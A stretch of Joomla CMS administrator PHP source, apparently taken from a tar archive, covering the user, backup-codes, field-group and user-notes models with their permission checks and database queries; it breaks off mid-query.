use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Plugin\PluginHelper; use Joomla\CMS\Table\Table; use Joomla\CMS\User\User; use Joomla\CMS\User\UserHelper; use Joomla\Database\ParameterType; use Joomla\Utilities\ArrayHelper; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User model. * * @since 1.6 */ class UserModel extends AdminModel { /** * An item. * * @var array */ protected $_item = null; /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { $config = array_merge( [ 'event_after_delete' => 'onUserAfterDelete', 'event_after_save' => 'onUserAfterSave', 'event_before_delete' => 'onUserBeforeDelete', 'event_before_save' => 'onUserBeforeSave', 'events_map' => ['save' => 'user', 'delete' => 'user', 'validate' => 'user'], ], $config ); parent::__construct($config, $factory); } /** * Returns a reference to the a Table object, always creating it. * * @param string $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return Table A database object * * @since 1.6 */ public function getTable($type = 'User', $prefix = 'Joomla\\CMS\\Table\\', $config = []) { $table = Table::getInstance($type, $prefix, $config); return $table; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 1.6 */ public function getItem($pk = null) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('user.id'); if ($this->_item === null) { $this->_item = []; } if (!isset($this->_item[$pk])) { $this->_item[$pk] = parent::getItem($pk); } return $this->_item[$pk]; } /** * Method to get the record form. * * @param array $data An optional array of data for the form to interrogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return Form|bool A Form object on success, false on failure * * @since 1.6 */ public function getForm($data = [], $loadData = true) { // Get the form. $form = $this->loadForm('com_users.user', 'user', ['control' => 'jform', 'load_data' => $loadData]); if (empty($form)) { return false; } $user = $this->getCurrentUser(); // If the user needs to change their password, mark the password fields as required if ($user->requireReset) { $form->setFieldAttribute('password', 'required', 'true'); $form->setFieldAttribute('password2', 'required', 'true'); } // When multilanguage is set, a user's default site language should also be a Content Language if (Multilanguage::isEnabled()) { $form->setFieldAttribute('language', 'type', 'frontend_language', 'params'); } $userId = (int) $form->getValue('id'); // The user should not be able to set the requireReset value on their own account if ($userId === (int) $user->id) { $form->removeField('requireReset'); } /** * If users without core.manage permission editing their own account, remove some fields which they should * not be allowed to change and prevent them to change user name if configured */ if (!$user->authorise('core.manage', 'com_users') && (int) $user->id === $userId) { if (!ComponentHelper::getParams('com_users')->get('change_login_name')) { $form->setFieldAttribute('username', 'required', 'false'); $form->setFieldAttribute('username', 'readonly', 'true'); $form->setFieldAttribute('username', 'description', 'COM_USERS_USER_FIELD_NOCHANGE_USERNAME_DESC'); } $form->removeField('lastResetTime'); $form->removeField('resetCount'); $form->removeField('sendEmail'); $form->removeField('block'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * * @since 1.6 * @throws \Exception */ protected function loadFormData() { // Check the session for previously entered form data. $data = Factory::getApplication()->getUserState('com_users.edit.user.data', []); if (empty($data)) { $data = $this->getItem(); } $this->preprocessData('com_users.profile', $data, 'user'); return $data; } /** * Override Joomla\CMS\MVC\Model\AdminModel::preprocessForm to ensure the correct plugin group is loaded. * * @param Form $form A Form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @since 1.6 * * @throws \Exception if there is an error in the form event. */ protected function preprocessForm(Form $form, $data, $group = 'user') { parent::preprocessForm($form, $data, $group); } /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success. * * @since 1.6 * @throws \Exception */ public function save($data) { $pk = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('user.id'); $user = User::getInstance($pk); $my = $this->getCurrentUser(); $iAmSuperAdmin = $my->authorise('core.admin'); // User cannot modify own user groups if ((int) $user->id == (int) $my->id && !$iAmSuperAdmin && isset($data['groups'])) { // Form was probably tampered with Factory::getApplication()->enqueueMessage(Text::_('COM_USERS_USERS_ERROR_CANNOT_EDIT_OWN_GROUP'), 'warning'); $data['groups'] = null; } if ($data['block'] && $pk == $my->id && !$my->block) { $this->setError(Text::_('COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF')); return false; } // Make sure user groups is selected when add/edit an account if (empty($data['groups']) && ((int) $user->id != (int) $my->id || $iAmSuperAdmin)) { $this->setError(Text::_('COM_USERS_USERS_ERROR_CANNOT_SAVE_ACCOUNT_WITHOUT_GROUPS')); return false; } // Make sure that we are not removing ourself from Super Admin group if ($iAmSuperAdmin && $my->get('id') == $pk) { // Check that at least one of our new groups is Super Admin $stillSuperAdmin = false; $myNewGroups = $data['groups']; foreach ($myNewGroups as $group) { $stillSuperAdmin = $stillSuperAdmin ?: Access::checkGroup($group, 'core.admin'); } if (!$stillSuperAdmin) { $this->setError(Text::_('COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF')); return false; } } // Unset the username if it should not be overwritten if ( !$my->authorise('core.manage', 'com_users') && (int) $user->id === (int) $my->id && !ComponentHelper::getParams('com_users')->get('change_login_name') ) { unset($data['username']); } // Bind the data. if (!$user->bind($data)) { $this->setError($user->getError()); return false; } // Store the data. if (!$user->save()) { $this->setError($user->getError()); return false; } // Destroy all active sessions for the user after changing the password or blocking him if ($data['password2'] || $data['block']) { UserHelper::destroyUserSessions($user->id, true); } $this->setState('user.id', $user->id); return true; } /** * Method to delete rows. * * @param array &$pks An array of item ids. * * @return boolean Returns true on success, false on failure. * * @since 1.6 * @throws \Exception */ public function delete(&$pks) { $user = $this->getCurrentUser(); $table = $this->getTable(); $pks = (array) $pks; // Check if I am a Super Admin $iAmSuperAdmin = $user->authorise('core.admin'); PluginHelper::importPlugin($this->events_map['delete']); if (in_array($user->id, $pks)) { $this->setError(Text::_('COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF')); return false; } // Iterate the items to delete each one. foreach ($pks as $i => $pk) { if ($table->load($pk)) { // Access checks. $allow = $user->authorise('core.delete', 'com_users'); // Don't allow non-super-admin to delete a super admin $allow = (!$iAmSuperAdmin && Access::check($pk, 'core.admin')) ? false : $allow; if ($allow) { // Get users data for the users to delete. $user_to_delete = Factory::getUser($pk); // Fire the before delete event. Factory::getApplication()->triggerEvent($this->event_before_delete, [$table->getProperties()]); if (!$table->delete($pk)) { $this->setError($table->getError()); return false; } else { // Trigger the after delete event. Factory::getApplication()->triggerEvent($this->event_after_delete, [$user_to_delete->getProperties(), true, $this->getError()]); } } else { // Prune items that you can't change. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('JERROR_CORE_DELETE_NOT_PERMITTED'), 'error'); } } else { $this->setError($table->getError()); return false; } } return true; } /** * Method to block user records. * * @param array &$pks The ids of the items to publish. * @param integer $value The value of the published state * * @return boolean True on success. * * @since 1.6 * @throws \Exception */ public function block(&$pks, $value = 1) { $app = Factory::getApplication(); $user = $this->getCurrentUser(); // Check if I am a Super Admin $iAmSuperAdmin = $user->authorise('core.admin'); $table = $this->getTable(); $pks = (array) $pks; PluginHelper::importPlugin($this->events_map['save']); // Prepare the logout options. $options = [ 'clientid' => $app->get('shared_session', '0') ? null : 0, ]; // Access checks. foreach ($pks as $i => $pk) { if ($value == 1 && $pk == $user->get('id')) { // Cannot block yourself. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF'), 'error'); } elseif ($table->load($pk)) { $old = $table->getProperties(); $allow = $user->authorise('core.edit.state', 'com_users'); // Don't allow non-super-admin to delete a super admin $allow = (!$iAmSuperAdmin && Access::check($pk, 'core.admin')) ? false : $allow; if ($allow) { // Skip changing of same state if ($table->block == $value) { unset($pks[$i]); continue; } $table->block = (int) $value; // If unblocking, also change password reset count to zero to unblock reset if ($table->block === 0) { $table->resetCount = 0; } // Allow an exception to be thrown. try { if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the before save event. $result = Factory::getApplication()->triggerEvent($this->event_before_save, [$old, false, $table->getProperties()]); if (in_array(false, $result, true)) { // Plugin will have to raise its own error or throw an exception. return false; } // Store the table. if (!$table->store()) { $this->setError($table->getError()); return false; } if ($table->block) { UserHelper::destroyUserSessions($table->id); } // Trigger the after save event Factory::getApplication()->triggerEvent($this->event_after_save, [$table->getProperties(), false, true, null]); } catch (\Exception $e) { $this->setError($e->getMessage()); return false; } // Log the user out. if ($value) { $app->logout($table->id, $options); } } else { // Prune items that you can't change. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), 'error'); } } } return true; } /** * Method to activate user records. * * @param array &$pks The ids of the items to activate. * * @return boolean True on success. * * @since 1.6 * @throws \Exception */ public function activate(&$pks) { $user = $this->getCurrentUser(); // Check if I am a Super Admin $iAmSuperAdmin = $user->authorise('core.admin'); $table = $this->getTable(); $pks = (array) $pks; PluginHelper::importPlugin($this->events_map['save']); // Access checks. foreach ($pks as $i => $pk) { if ($table->load($pk)) { $old = $table->getProperties(); $allow = $user->authorise('core.edit.state', 'com_users'); // Don't allow non-super-admin to delete a super admin $allow = (!$iAmSuperAdmin && Access::check($pk, 'core.admin')) ? false : $allow; if (empty($table->activation)) { // Ignore activated accounts. unset($pks[$i]); } elseif ($allow) { $table->block = 0; $table->activation = ''; // Allow an exception to be thrown. try { if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the before save event. $result = Factory::getApplication()->triggerEvent($this->event_before_save, [$old, false, $table->getProperties()]); if (in_array(false, $result, true)) { // Plugin will have to raise it's own error or throw an exception. return false; } // Store the table. if (!$table->store()) { $this->setError($table->getError()); return false; } // Fire the after save event Factory::getApplication()->triggerEvent($this->event_after_save, [$table->getProperties(), false, true, null]); } catch (\Exception $e) { $this->setError($e->getMessage()); return false; } } else { // Prune items that you can't change. unset($pks[$i]); Factory::getApplication()->enqueueMessage(Text::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'), 'error'); } } } return true; } /** * Method to perform batch operations on an item or a set of items. * * @param array $commands An array of commands to perform. * @param array $pks An array of item ids. * @param array $contexts An array of item contexts. * * @return boolean Returns true on success, false on failure. * * @since 2.5 */ public function batch($commands, $pks, $contexts) { // Sanitize user ids. $pks = array_unique($pks); $pks = ArrayHelper::toInteger($pks); // Remove any values of zero. if (array_search(0, $pks, true)) { unset($pks[array_search(0, $pks, true)]); } if (empty($pks)) { $this->setError(Text::_('COM_USERS_USERS_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['group_id'])) { $cmd = ArrayHelper::getValue($commands, 'group_action', 'add'); if (!$this->batchUser((int) $commands['group_id'], $pks, $cmd)) { return false; } $done = true; } if (!empty($commands['reset_id'])) { if (!$this->batchReset($pks, $commands['reset_id'])) { return false; } $done = true; } if (!$done) { $this->setError(Text::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch flag users as being required to reset their passwords * * @param array $userIds An array of user IDs on which to operate * @param string $action The action to perform * * @return boolean True on success, false on failure * * @since 3.2 */ public function batchReset($userIds, $action) { $userIds = ArrayHelper::toInteger($userIds); // Check if I am a Super Admin $iAmSuperAdmin = $this->getCurrentUser()->authorise('core.admin'); // Non-super super user cannot work with super-admin user. if (!$iAmSuperAdmin && UserHelper::checkSuperUserInUsers($userIds)) { $this->setError(Text::_('COM_USERS_ERROR_CANNOT_BATCH_SUPERUSER')); return false; } // Set the action to perform if ($action === 'yes') { $value = 1; } else { $value = 0; } // Prune out the current user if they are in the supplied user ID array $userIds = array_diff($userIds, [$this->getCurrentUser()->id]); if (empty($userIds)) { $this->setError(Text::_('COM_USERS_USERS_ERROR_CANNOT_REQUIRERESET_SELF')); return false; } // Get the DB object $db = $this->getDatabase(); $userIds = ArrayHelper::toInteger($userIds); $query = $db->getQuery(true); // Update the reset flag $query->update($db->quoteName('#__users')) ->set($db->quoteName('requireReset') . ' = :requireReset') ->whereIn($db->quoteName('id'), $userIds) ->bind(':requireReset', $value, ParameterType::INTEGER); $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } return true; } /** * Perform batch operations * * @param integer $groupId The group ID which assignments are being edited * @param array $userIds An array of user IDs on which to operate * @param string $action The action to perform * * @return boolean True on success, false on failure * * @since 1.6 */ public function batchUser($groupId, $userIds, $action) { $userIds = ArrayHelper::toInteger($userIds); // Check if I am a Super Admin $iAmSuperAdmin = $this->getCurrentUser()->authorise('core.admin'); // Non-super super user cannot work with super-admin user. if (!$iAmSuperAdmin && UserHelper::checkSuperUserInUsers($userIds)) { $this->setError(Text::_('COM_USERS_ERROR_CANNOT_BATCH_SUPERUSER')); return false; } // Non-super admin cannot work with super-admin group. if ((!$iAmSuperAdmin && Access::checkGroup($groupId, 'core.admin')) || $groupId < 1) { $this->setError(Text::_('COM_USERS_ERROR_INVALID_GROUP')); return false; } // Get the DB object $db = $this->getDatabase(); switch ($action) { // Sets users to a selected group case 'set': $doDelete = 'all'; $doAssign = true; break; // Remove users from a selected group case 'del': $doDelete = 'group'; break; // Add users to a selected group case 'add': default: $doAssign = true; break; } // Remove the users from the group if requested. if (isset($doDelete)) { /* * First we need to check that the user is part of more than one group * otherwise we will end up with a user that is not part of any group * unless we are moving the user to a new group. */ if ($doDelete === 'group') { $query = $db->getQuery(true); $query->select($db->quoteName('user_id')) ->from($db->quoteName('#__user_usergroup_map')) ->whereIn($db->quoteName('user_id'), $userIds); // Add the group by clause to remove users who are only in one group $query->group($db->quoteName('user_id')) ->having('COUNT(user_id) > 1'); $db->setQuery($query); $users = $db->loadColumn(); // If we have no users to process, throw an error to notify the user if (empty($users)) { $this->setError(Text::_('COM_USERS_ERROR_ONLY_ONE_GROUP')); return false; } // Check to see if the users are in the group to be removed $query->clear() ->select($db->quoteName('user_id')) ->from($db->quoteName('#__user_usergroup_map')) ->whereIn($db->quoteName('user_id'), $users) ->where($db->quoteName('group_id') . ' = :group_id') ->bind(':group_id', $groupId, ParameterType::INTEGER); $db->setQuery($query); $users = $db->loadColumn(); // If we have no users to process, throw an error to notify the user if (empty($users)) { $this->setError(Text::_('COM_USERS_ERROR_NOT_IN_GROUP')); return false; } // Finally remove the users from the group $query->clear() ->delete($db->quoteName('#__user_usergroup_map')) ->whereIn($db->quoteName('user_id'), $users) ->where($db->quoteName('group_id') . '= :group_id') ->bind(':group_id', $groupId, ParameterType::INTEGER); $db->setQuery($query); } elseif ($doDelete === 'all') { $query = $db->getQuery(true); $query->delete($db->quoteName('#__user_usergroup_map')) ->whereIn($db->quoteName('user_id'), $userIds); } $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } } // Assign the users to the group if requested. if (isset($doAssign)) { $query = $db->getQuery(true); // First, we need to check if the user is already assigned to a group $query->select($db->quoteName('user_id')) ->from($db->quoteName('#__user_usergroup_map')) ->where($db->quoteName('group_id') . ' = :group_id') ->bind(':group_id', $groupId, ParameterType::INTEGER); $db->setQuery($query); $users = $db->loadColumn(); // Build the values clause for the assignment query. $query->clear(); $groups = false; foreach ($userIds as $id) { if (!in_array($id, $users)) { $query->values($id . ',' . $groupId); $groups = true; } } // If we have no users to process, throw an error to notify the user if (!$groups) { $this->setError(Text::_('COM_USERS_ERROR_NO_ADDITIONS')); return false; } $query->insert($db->quoteName('#__user_usergroup_map')) ->columns([$db->quoteName('user_id'), $db->quoteName('group_id')]); $db->setQuery($query); try { $db->execute(); } catch (\RuntimeException $e) { $this->setError($e->getMessage()); return false; } } return true; } /** * Gets the available groups. * * @return array An array of groups * * @since 1.6 */ public function getGroups() { $user = $this->getCurrentUser(); if ($user->authorise('core.edit', 'com_users') && $user->authorise('core.manage', 'com_users')) { $model = $this->bootComponent('com_users') ->getMVCFactory()->createModel('Groups', 'Administrator', ['ignore_request' => true]); return $model->getItems(); } else { return null; } } /** * Gets the groups this object is assigned to * * @param integer $userId The user ID to retrieve the groups for * * @return array An array of assigned groups * * @since 1.6 */ public function getAssignedGroups($userId = null) { $userId = (!empty($userId)) ? $userId : (int) $this->getState('user.id'); if (empty($userId)) { $result = []; $form = $this->getForm(); if ($form) { $groupsIDs = $form->getValue('groups'); } if (!empty($groupsIDs)) { $result = $groupsIDs; } else { $params = ComponentHelper::getParams('com_users'); if ($groupId = $params->get('new_usertype', $params->get('guest_usergroup', 1))) { $result[] = $groupId; } } } else { $result = UserHelper::getUserGroups($userId); } return $result; } /** * No longer used * * @param integer $userId Ignored * * @return \stdClass * * @since 3.2 * * @deprecated 4.2 will be removed in 6.0. * Will be removed without replacement */ public function getOtpConfig($userId = null) { @trigger_error( sprintf( '%s() is deprecated. Use \Joomla\Component\Users\Administrator\Helper\Mfa::getUserMfaRecords() instead.', __METHOD__ ), E_USER_DEPRECATED ); // Return the configuration object return (object) [ 'method' => 'none', 'config' => [], 'otep' => [], ]; } /** * No longer used * * @param integer $userId Ignored * @param \stdClass $otpConfig Ignored * * @return boolean True on success * * @since 3.2 * * @deprecated 4.2 will be removed in 5.0. * Will be removed without replacement */ public function setOtpConfig($userId, $otpConfig) { @trigger_error( sprintf( '%s() is deprecated. Multi-factor Authentication actions are handled by plugins in the multifactorauth folder.', __METHOD__ ), E_USER_DEPRECATED ); return true; } /** * No longer used * * @return string * * @since 3.2 * * @deprecated 4.2 will be removed in 6.0. * Use \Joomla\CMS\Factory::getApplication()->get('secret') instead' */ public function getOtpConfigEncryptionKey() { @trigger_error( sprintf( '%s() is deprecated. Use \Joomla\CMS\Factory::getApplication()->get(\'secret\') instead', __METHOD__ ), E_USER_DEPRECATED ); return Factory::getApplication()->get('secret'); } /** * No longer used * * @param integer $userId Ignored * * @return array Empty array * * @since 3.2 * @throws \Exception * * @deprecated 4.2 will be removed in 5.0. * Will be removed without replacement */ public function getTwofactorform($userId = null) { @trigger_error( sprintf( '%s() is deprecated. Use \Joomla\Component\Users\Administrator\Helper\Mfa::getConfigurationInterface()', __METHOD__ ), E_USER_DEPRECATED ); return []; } /** * No longer used * * @param integer $userId Ignored * @param integer $count Ignored * * @return array Empty array * * @since 3.2 * * @deprecated 4.2 will be removed in 5.0 * Will be removed without replacement */ public function generateOteps($userId, $count = 10) { @trigger_error( sprintf( '%s() is deprecated. See \Joomla\Component\Users\Administrator\Model\BackupcodesModel::saveBackupCodes()', __METHOD__ ), E_USER_DEPRECATED ); return []; } /** * No longer used. Always returns true. * * @param integer $userId Ignored * @param string $secretKey Ignored * @param array $options Ignored * * @return boolean Always true * * @since 3.2 * @throws \Exception * * @deprecated 4.2 will be removed in 5.0 * Will be removed without replacement */ public function isValidSecretKey($userId, $secretKey, $options = []) { @trigger_error( sprintf( '%s() is deprecated. Multi-factor Authentication actions are handled by plugins in the multifactorauth folder.', __METHOD__ ), E_USER_DEPRECATED ); return true; } /** * No longer used * * @param integer $userId Ignored * @param string $otep Ignored * @param object $otpConfig Ignored * * @return boolean Always true * * @since 3.2 * * @deprecated 4.2 will be removed in 5.0 * Will be removed without replacement */ public function isValidOtep($userId, $otep, $otpConfig = null) { @trigger_error( sprintf( '%s() is deprecated. Multi-factor Authentication actions are handled by plugins in the multifactorauth folder.', __METHOD__ ), E_USER_DEPRECATED ); return true; } } BackupcodesModel.php 0000644 00000001040 15172776135 0010472 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2022 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Site\Model; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Model for managing backup codes * * @since 4.2.0 */ class BackupcodesModel extends \Joomla\Component\Users\Administrator\Model\BackupcodesModel { } GroupModel.php 0000644 00000026212 15172776135 0007353 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_fields * * @copyright (C) 2016 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Fields\Administrator\Model; use Joomla\CMS\Factory; use Joomla\CMS\Filesystem\Path; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\MVC\Model\AdminModel; use Joomla\CMS\Table\Table; use Joomla\Component\Fields\Administrator\Helper\FieldsHelper; use Joomla\Registry\Registry; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Group Model * * @since 3.7.0 */ class GroupModel extends AdminModel { /** * @var null|string * * @since 3.7.0 */ public $typeAlias = null; /** * Allowed batch commands * * @var array */ protected $batch_commands = [ 'assetgroup_id' => 'batchAccess', 'language_id' => 'batchLanguage', ]; /** * Method to save the form data. * * @param array $data The form data. * * @return boolean True on success, False on error. * * @since 3.7.0 */ public function save($data) { // Alter the title for save as copy $input = Factory::getApplication()->getInput(); // Save new group as unpublished if ($input->get('task') == 'save2copy') { $data['state'] = 0; } return parent::save($data); } /** * Method to get a table object, load it if necessary. * * @param string $name The table name. Optional. * @param string $prefix The class prefix. Optional. * @param array $options Configuration array for model. Optional. * * @return Table A Table object * * @since 3.7.0 * @throws \Exception */ public function getTable($name = 'Group', $prefix = 'Administrator', $options = []) { return parent::getTable($name, $prefix, $options); } /** * Abstract method for getting the form from the model. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A Form object on success, false on failure * * @since 3.7.0 */ public function getForm($data = [], $loadData = true) { $context = $this->getState('filter.context'); $jinput = Factory::getApplication()->getInput(); if (empty($context) && isset($data['context'])) { $context = $data['context']; $this->setState('filter.context', $context); } // Get the form. $form = $this->loadForm( 'com_fields.group.' . $context, 'group', [ 'control' => 'jform', 'load_data' => $loadData, ] ); if (empty($form)) { return false; } // Modify the form based on Edit State access controls. if (empty($data['context'])) { $data['context'] = $context; } $user = $this->getCurrentUser(); if (!$user->authorise('core.edit.state', $context . '.fieldgroup.' . $jinput->get('id'))) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('state', 'disabled', 'true'); // Disable fields while saving. The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('state', 'filter', 'unset'); } // Don't allow to change the created_by user if not allowed to access com_users. if (!$user->authorise('core.manage', 'com_users')) { $form->setFieldAttribute('created_by', 'filter', 'unset'); } return $form; } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission for the component. * * @since 3.7.0 */ protected function canDelete($record) { if (empty($record->id) || $record->state != -2) { return false; } return $this->getCurrentUser()->authorise('core.delete', $record->context . '.fieldgroup.' . (int) $record->id); } /** * Method to test whether a record can have its state changed. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission for the * component. * * @since 3.7.0 */ protected function canEditState($record) { $user = $this->getCurrentUser(); // Check for existing fieldgroup. if (!empty($record->id)) { return $user->authorise('core.edit.state', $record->context . '.fieldgroup.' . (int) $record->id); } // Default to component settings. return $user->authorise('core.edit.state', $record->context); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * * @since 3.7.0 */ protected function populateState() { parent::populateState(); $context = Factory::getApplication()->getUserStateFromRequest('com_fields.groups.context', 'context', 'com_fields', 'CMD'); $this->setState('filter.context', $context); } /** * A protected method to get a set of ordering conditions. * * @param Table $table A Table object. * * @return array An array of conditions to add to ordering queries. * * @since 3.7.0 */ protected function getReorderConditions($table) { $db = $this->getDatabase(); return [ $db->quoteName('context') . ' = ' . $db->quote($table->context), ]; } /** * Method to preprocess the form. * * @param Form $form A Form object. * @param mixed $data The data expected for the form. * @param string $group The name of the plugin group to import (defaults to "content"). * * @return void * * @see \Joomla\CMS\Form\FormField * @since 3.7.0 * @throws \Exception if there is an error in the form event. */ protected function preprocessForm(Form $form, $data, $group = 'content') { parent::preprocessForm($form, $data, $group); $parts = FieldsHelper::extract($this->state->get('filter.context')); // If we don't have a valid context then return early if (!$parts) { return; } // Extract the component name $component = $parts[0]; // Extract the section name $section = $parts[1]; // Set the access control rules field component value. $form->setFieldAttribute('rules', 'component', $component); // Looking first in the component models/forms folder $path = Path::clean(JPATH_ADMINISTRATOR . '/components/' . $component . '/models/forms/fieldgroup/' . $section . '.xml'); if (file_exists($path)) { $lang = Factory::getLanguage(); $lang->load($component, JPATH_BASE); $lang->load($component, JPATH_BASE . '/components/' . $component); if (!$form->loadFile($path, false)) { throw new \Exception(Text::_('JERROR_LOADFILE_FAILED')); } } } /** * Method to validate the form data. * * @param Form $form The form to validate against. * @param array $data The data to validate. * @param string $group The name of the field group to validate. * * @return array|boolean Array of filtered data if valid, false otherwise. * * @see JFormRule * @see JFilterInput * @since 3.9.23 */ public function validate($form, $data, $group = null) { if (!$this->getCurrentUser()->authorise('core.admin', 'com_fields')) { if (isset($data['rules'])) { unset($data['rules']); } } return parent::validate($form, $data, $group); } /** * Method to get the data that should be injected in the form. * * @return array The default data is an empty array. * * @since 3.7.0 */ protected function loadFormData() { // Check the session for previously entered form data. $app = Factory::getApplication(); $input = $app->getInput(); $data = $app->getUserState('com_fields.edit.group.data', []); if (empty($data)) { $data = $this->getItem(); // Pre-select some filters (Status, Language, Access) in edit form if those have been selected in Field Group Manager if (!$data->id) { // Check for which context the Field Group Manager is used and get selected fields $context = substr($app->getUserState('com_fields.groups.filter.context', ''), 4); $filters = (array) $app->getUserState('com_fields.groups.' . $context . '.filter'); $data->set( 'state', $input->getInt('state', (!empty($filters['state']) ? $filters['state'] : null)) ); $data->set( 'language', $input->getString('language', (!empty($filters['language']) ? $filters['language'] : null)) ); $data->set( 'access', $input->getInt('access', (!empty($filters['access']) ? $filters['access'] : $app->get('access'))) ); } } $this->preprocessData('com_fields.group', $data); return $data; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * * @since 3.7.0 */ public function getItem($pk = null) { if ($item = parent::getItem($pk)) { // Prime required properties. if (empty($item->id)) { $item->context = $this->getState('filter.context'); } if (property_exists($item, 'params')) { $item->params = new Registry($item->params); } } return $item; } /** * Clean the cache * * @param string $group The cache group * @param integer $clientId No longer used, will be removed without replacement * @deprecated 4.3 will be removed in 6.0 * * @return void * * @since 3.7.0 */ protected function cleanCache($group = null, $clientId = 0) { $context = Factory::getApplication()->getInput()->get('context'); parent::cleanCache($context); } } NotesModel.php 0000644 00000016550 15172776135 0007353 0 ustar 00 <?php /** * @package Joomla.Administrator * @subpackage com_users * * @copyright (C) 2011 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Component\Users\Administrator\Model; use Joomla\CMS\Factory; use Joomla\CMS\MVC\Factory\MVCFactoryInterface; use Joomla\CMS\MVC\Model\ListModel; use Joomla\CMS\User\User; use Joomla\Database\DatabaseQuery; use Joomla\Database\ParameterType; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * User notes model class. * * @since 2.5 */ class NotesModel extends ListModel { /** * Constructor. * * @param array $config An optional associative array of configuration settings. * @param MVCFactoryInterface $factory The factory. * * @see \Joomla\CMS\MVC\Model\BaseDatabaseModel * @since 3.2 */ public function __construct($config = [], MVCFactoryInterface $factory = null) { // Set the list ordering fields. if (empty($config['filter_fields'])) { $config['filter_fields'] = [ 'id', 'a.id', 'user_id', 'a.user_id', 'u.name', 'subject', 'a.subject', 'catid', 'a.catid', 'category_id', 'state', 'a.state', 'published', 'c.title', 'review_time', 'a.review_time', 'publish_up', 'a.publish_up', 'publish_down', 'a.publish_down', 'level', 'c.level', ]; } parent::__construct($config, $factory); } /** * Build an SQL query to load the list data. * * @return DatabaseQuery A DatabaseQuery object to retrieve the data set. * * @since 2.5 */ protected function getListQuery() { $db = $this->getDatabase(); $query = $db->getQuery(true); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.subject, a.checked_out, a.checked_out_time,' . 'a.catid, a.created_time, a.review_time,' . 'a.state, a.publish_up, a.publish_down' ) ); $query->from('#__user_notes AS a'); // Join over the category $query->select('c.title AS category_title, c.params AS category_params') ->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Join over the users for the note user. $query->select('u.name AS user_name') ->join('LEFT', '#__users AS u ON u.id = a.user_id'); // Join over the users for the checked out user. $query->select('uc.name AS editor') ->join('LEFT', '#__users AS uc ON uc.id = a.checked_out'); // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $search3 = (int) substr($search, 3); $query->where($db->quoteName('a.id') . ' = :id'); $query->bind(':id', $search3, ParameterType::INTEGER); } elseif (stripos($search, 'uid:') === 0) { $search4 = (int) substr($search, 4); $query->where($db->quoteName('a.user_id') . ' = :id'); $query->bind(':id', $search4, ParameterType::INTEGER); } else { $search = '%' . trim($search) . '%'; $query->where( '(' . $db->quoteName('a.subject') . ' LIKE :subject' . ' OR ' . $db->quoteName('u.name') . ' LIKE :name' . ' OR ' . $db->quoteName('u.username') . ' LIKE :username)' ); $query->bind(':subject', $search); $query->bind(':name', $search); $query->bind(':username', $search); } } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where($db->quoteName('a.state') . ' = :state') ->bind(':state', $published, ParameterType::INTEGER); } elseif ($published !== '*') { $query->whereIn($db->quoteName('a.state'), 